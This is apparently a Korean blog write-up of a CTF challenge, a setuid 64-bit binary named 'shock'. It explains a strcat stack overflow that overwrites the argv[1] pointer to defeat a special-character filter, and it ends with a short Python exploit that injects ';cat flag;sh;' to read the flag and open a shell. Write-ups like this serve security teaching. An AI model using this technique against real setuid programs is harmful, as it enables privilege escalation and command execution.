setuid 가 걸려있는 64bit ELF 바이너리이다.




소스코드를 간단히 분석해보면,

가장 먼저, sub_40075c() 함수로 진입하여 환경변수 영역을 초기화 한다. 그 후 argv[1] 의 값이 있는지 확인한 후, 값이 존재한다면 strcat() 함수를 사용하여 argv[1] 의 값을 &command 에 넣게 되는데 여기서 크기 검증을 하지 않기에 stack overflow가 발생한다. 그 후 __ctype_b_loc 함수를 통해 특수문자 검사를 하고, 특수문자가 존재하지 않는다면 syst

em() 함수를 통해 어떤 명령을 실행시킬 수 있다.





ASLR, NX 가 걸려있고, Canary 또한 존재한다.


for 문을 확인해보면, strlen(argv[1])을 구해서 특수문자를 검사하게 되는데 argv[1] 의 주소는 스택에 있다.

즉, argv[1] 의 주소까지 접근하여 주소를 조작할 수 있다. 

정확히 argv[1] 의 주소를 조작하기 위해서 &command 부터 argv[1] 의 offset 을 구해야한다.





$rsi = argv[1] addr

$rdi = &command





0x7fffef7f1190 주소에 &argv[1] 이 존재한다.

offset = 0x7fffef7f1190 - $rdi(0x7fffef7f0f80) = 528byte

그러나, command 에 이미 "id " 문자열이 들어가 있기 때문에 3byte 만큼 빼주면 525byte 가 정확한 offset 임을 알 수 있다.





"A" * 525byte + "BBBBBB" => argv[1]의 주소를 조작한 것을 확인할 수 있다.


strlen(argv[1]) 리턴 값을 조작하기 위한 여러가지 방법이 있는데,

[*] argv[1] 주소를 Null 로 초기화 된 환경변수 영역으로 조작

[*] 64bit 고정된 주소인 vsyscall 영역으로 조작

[*] 521byte + ";sh;" 와 같이 크기에 맞춰 명령을 넣어주면 끝에 "\x00" 이 붙어서 조작할 수 있다.




- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  exploit.py  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


import os


command = ";cat flag;sh;"

payload = "./shock " + "A" * (525 - len(command)) + command


os.system(payload)


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



'CTF Writeup' 카테고리의 다른 글

[CodeGate 2014 CTF] dodoCrackme  (0) 2016.06.11

WRITTEN BY
LuCeT3

,